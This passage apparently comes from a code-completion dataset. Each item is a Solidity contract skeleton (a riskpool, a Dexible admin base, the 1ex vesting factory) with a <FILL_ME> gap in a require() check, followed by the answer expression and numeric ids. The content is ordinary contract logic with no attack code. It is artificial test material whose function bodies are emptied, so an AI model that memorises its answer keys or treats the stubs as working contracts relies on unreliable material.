bytes memory filter ) public pure returns ( string memory name, uint256 lifetime, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn ) { } function encodeApplicationParameterAsData( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) public pure returns (bytes memory data) { } function decodeApplicationParameterFromData( bytes memory data ) public pure returns ( address wallet, uint256 protectedBalance, uint256 duration, uint256 bundleId, uint256 maxPremium ) { } function getBundleFilter(uint256 bundleId) public view returns (bytes memory filter) { } // sorts bundles on increasing annual percentage return function isHigherPriorityBundle(uint256 firstBundleId, uint256 secondBundleId) public override view returns (bool firstBundleIsHigherPriority) { } function bundleMatchesApplication( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public view override returns(bool isMatching) {} function bundleMatchesApplication2( IBundle.Bundle memory bundle, IPolicy.Application memory application ) public override returns(bool isMatching) { } function detailedBundleApplicationMatch( uint256 bundleId, uint256 minSumInsured, uint256 maxSumInsured, uint256 minDuration, uint256 maxDuration, uint256 annualPercentageReturn, IPolicy.Application memory application ) public returns(bool isMatching) { } function getSupportedCapitalAmount(uint256 bundleId) public view returns(uint256 capitalCap) { } function calculatePremium( uint256 sumInsured, uint256 duration, uint256 annualPercentageReturn ) public pure returns(uint256 premiumAmount) { } function getRiskpoolCapitalCap() public view returns (uint256 poolCapitalCap) { } function getBundleCapitalCap() public view returns (uint256 bundleCapitalCap) { } function getMaxBundleLifetime() public pure returns(uint256 maxBundleLifetime) { } function getOneYearDuration() public pure returns(uint256 yearDuration) { } function getApr100PercentLevel() public pure returns(uint256 apr100PercentLevel) { } function _afterFundBundle(uint256 bundleId, uint256 amount) internal override view { require( _instanceService.getBundle(bundleId).capital <= _bundleCapitalCap, "ERROR:DRP-100:FUNDING_EXCEEDS_BUNDLE_CAPITAL_CAP"); require(<FILL_ME>) } function _getBundleApr(uint256 bundleId) internal view returns (uint256 annualPercentageReturn) { } }
getCapital()<=_riskpoolCapitalCap,"ERROR:DRP-101:FUNDING_EXCEEDS_RISKPOOL_CAPITAL_CAP"
193,294
getCapital()<=_riskpoolCapitalCap
"Contract operations are paused"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.17; import "../../common/IPausable.sol"; import "../DexibleStorage.sol"; abstract contract AdminBase { modifier notPaused() { require(<FILL_ME>) _; } modifier onlyAdmin() { } modifier onlyVault() { } modifier onlyRelay() { } modifier onlySelf() { } }
!DexibleStorage.load().paused,"Contract operations are paused"
193,308
!DexibleStorage.load().paused
"Only relay allowed to call"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.17; import "../../common/IPausable.sol"; import "../DexibleStorage.sol"; abstract contract AdminBase { modifier notPaused() { } modifier onlyAdmin() { } modifier onlyVault() { } modifier onlyRelay() { DexibleStorage.DexibleData storage dd = DexibleStorage.load(); require(<FILL_ME>) _; } modifier onlySelf() { } }
dd.relays[msg.sender],"Only relay allowed to call"
193,308
dd.relays[msg.sender]
"Vesting: No avaliable tokens to withdraw"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { require(msg.value == 0 && msg.sender == schedule.account); require(<FILL_ME>) claimInternal(); } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
claimableAmount()!=0,"Vesting: No avaliable tokens to withdraw"
193,359
claimableAmount()!=0
"Vesting: not enough tokens"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { require(vestingDays > 0 && amount > 0, "Vesting: invalid vesting params"); require(<FILL_ME>) schedule = Schedule( account, amount, 0, startTime, startTime + (cliffDays * 1 days), startTime + (cliffDays * 1 days) + (vestingDays * 1 days), asset, revokable, false ); emit Vest(account, amount); return true; } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
IERC20(asset).balanceOf(address(this))==amount,"Vesting: not enough tokens"
193,359
IERC20(asset).balanceOf(address(this))==amount
"Vesting: Vesting is not revokable"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { require(<FILL_ME>) uint256 outstandingAmount = schedule.totalAmount - schedule.claimedAmount; require(outstandingAmount != 0, "Vesting: no outstanding tokens"); schedule.totalAmount = 0; schedule.revoked = true; IERC20(schedule.asset).safeTransfer(beneficiary, outstandingAmount); emit Revoked(beneficiary, outstandingAmount); return true; } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
schedule.revokable,"Vesting: Vesting is not revokable"
193,359
schedule.revokable
"VestingFactory: asset not supported"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { require(account != address(0), "VestingFactory: account zero address"); require(<FILL_ME>) address _contract = create(_allVestings.length()); IERC20(asset).safeTransferFrom(msg.sender, _contract, amount); require(IVesting(_contract).vest(account, amount, asset, cliffDays, vestingDays, startTime, revokable)); require(_allVestings.add(_contract)); if (revokable) { require(_revokableVestings.add(_contract)); } accountVestings[account].vestings.push(_contract); emit NewVesting(_contract, account); return true; } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_supportedAssets.contains(asset),"VestingFactory: asset not supported"
193,359
_supportedAssets.contains(asset)
null
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 